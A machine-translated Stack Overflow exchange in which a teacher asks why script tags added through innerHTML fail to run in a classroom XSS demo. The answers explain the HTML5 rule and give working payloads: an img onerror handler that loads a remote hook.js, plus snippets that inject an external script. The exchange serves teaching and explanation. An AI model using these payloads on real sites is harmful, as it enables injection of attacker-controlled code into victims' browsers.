我正试图向一些学生演示跨站点脚本,具有讽刺意味的是,我无法让它工作!
以下两个脚本似乎什么都不做
document.body.innerHTML += `
<script src="/hook.js" defer async></s${''}cript>
`
document.body.innerHTML += `
<script>
var s = document.createElement('script')
s.setAttribute('src', '/hook.js')
document.body.appendChild(s)
</s${''}cript>
`
我可以看到在devtools中添加到DOM的节点,它看起来正确但在我的网络选项卡中没有触发查询。如果我使用相同的确切代码并将其直接放在html中,而不是查询。
我在最新的chrome和firefox中试过这个
发生了什么事?这是某种防xss保护吗?
答案 0 :(得分:1)
好的,所以挖掘我发现了this interesting factoid
看到用于在网页中插入文本的innerHTML并不罕见。 这带来了安全风险。
var name = "John"; // assuming el is an HTML DOM element el.innerHTML = name; // harmless in this case // ... name = "<script>alert('I am John in an annoying alert!')</script>"; el.innerHTML = name; // harmless in this case
虽然这看起来像是跨站点脚本攻击,但结果却是如此 是无害的。 HTML5指定通过插入
<script>
标记 innerHTML不应该执行。但是,有一些方法可以在不使用的情况下执行JavaScript 元素,因此每当您使用innerHTML时仍存在安全风险 设置您无法控制的字符串。例如:
var name = "<img src=x onerror=alert(1)>"; el.innerHTML = name; // shows the alert
因此,建议您在使用innerHTML时不要使用 插入纯文本;相反,使用
node.textContent
。这不是 将传递的内容解释为HTML,而是将其作为原始内容插入 文本。
所以听起来事情正如预期的那样(并且只是旧的浏览器实现了错误)。你仍然可以触发XSS,你只需要稍微聪明一些。
<img src="/doesntesist.png" onerror="var s = document.createElement(`script`);s.setAttribute(`src`, `http:///hook.js`); document.body.appendChild(s);" />
答案 1 :(得分:0)
试试这个
document.write("<script type=\"text/javascript\" src=\"http://othree.net/tmp/test.js\"><\/script>");
或使用DOM方法添加
var z1 = document.createElement("script");
z1.type = "text/javascript";
z1.src = "http://othree.net/tmp/test.js";
document.getElementsByTagName("head")[0].appendChild(z1);